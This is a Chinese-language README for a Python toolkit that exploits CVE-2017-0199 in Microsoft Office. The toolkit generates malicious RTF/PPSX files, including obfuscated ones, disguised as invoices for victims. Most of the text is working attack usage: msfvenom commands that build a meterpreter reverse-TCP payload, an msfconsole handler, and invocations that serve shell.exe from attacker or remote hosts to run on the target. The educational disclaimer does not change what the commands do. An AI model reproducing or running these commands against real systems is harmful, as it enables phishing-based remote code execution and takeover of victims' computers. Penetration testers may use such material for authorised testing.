漏洞利用工具包 CVE-2017-0199 - v4.0 是一个方便的 Python 脚本,为渗透测试人员和安全研究人员提供了一种快速有效的方式来测试 Microsoft Office RCE。它可以生成恶意的 RTF/PPSX 文件,并在无需复杂配置的情况下向受害者传递 metasploit / meterpreter / 其他有效载荷。
本程序仅供教育目的使用。未经许可不得使用。通常的免责声明适用,尤其是本人 (bhdresh) 不对因直接或间接使用这些程序提供的信息或功能而造成的任何损害负责。作者或任何互联网提供商对这些程序或其衍生品的内容或滥用概不负责。使用本程序即表示您同意,因使用这些程序造成的任何损害(数据丢失、系统崩溃、系统入侵等)均非 bhdresh 的责任。
最后,这是一个个人开发项目,请尊重其初衷,不要将其用于不良目的!
CC BY 4.0 许可证 - https://creativecommons.org/licenses/by/4.0/
脚本引入了以下功能:
- 生成恶意 PPSX 文件
- 对生成的 PPSX 文件进行利用模式
- 更新了 template.ppsx
版本:Python 2.7.13
1) 生成恶意 RTF 文件
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) (可选,如果使用 MSF 有效载荷):生成 metasploit 有效载荷并启动处理程序
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) 以利用模式启动工具包以传递本地有效载荷
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

1) 生成恶意 RTF 文件
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) 以利用模式启动工具包以传递远程有效载荷
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://remoteserver.com/shell.exe

1) 生成恶意 RTF 文件
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) 以利用模式启动工具包以传递自定义 HTA 文件
# python cve-2017-0199_toolkit.py -M exp -t RTF -H /tmp/custom.hta

# python cve-2017-0199_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-0199 (Microsoft office RCE)
Modes:
-M gen Generate Malicious file only
Generate malicious RTF/PPSX file:
-w <Filename.rtf/Filename.ppsx> Name of malicious RTF/PPSX file (Share this file with victim).
-u <http://attacker.com/test.hta> The path to an HTA/SCT file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.doc (This URL will be included in malicious RTF/PPSX file and will be requested once victim will open malicious RTF file.
-t RTF|PPSX (default = RTF) Type of the file to be generated.
-x 0|1 (default = 0) Generate obfuscated RTF file. 0 = Disable, 1 = Enable.
-M exp Start exploitation mode
Exploitation:
-t RTF|PPSX (default = RTF) Type of file to be exolited.
-H </tmp/custom> Local path of a custom HTA/SCT file which needs to be delivered and executed on target.
NOTE: This option will not deliver payloads specified through options "-e" and "-l"
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.
@nixawk 提供 RTF 样本,@Li Haifei, @bhdresh
显然,我不是全职开发者,因此可能会遇到一些小问题。
请通过 https://github.com/bhdresh/CVE-2017-0199/issues/new 报告错误和问题。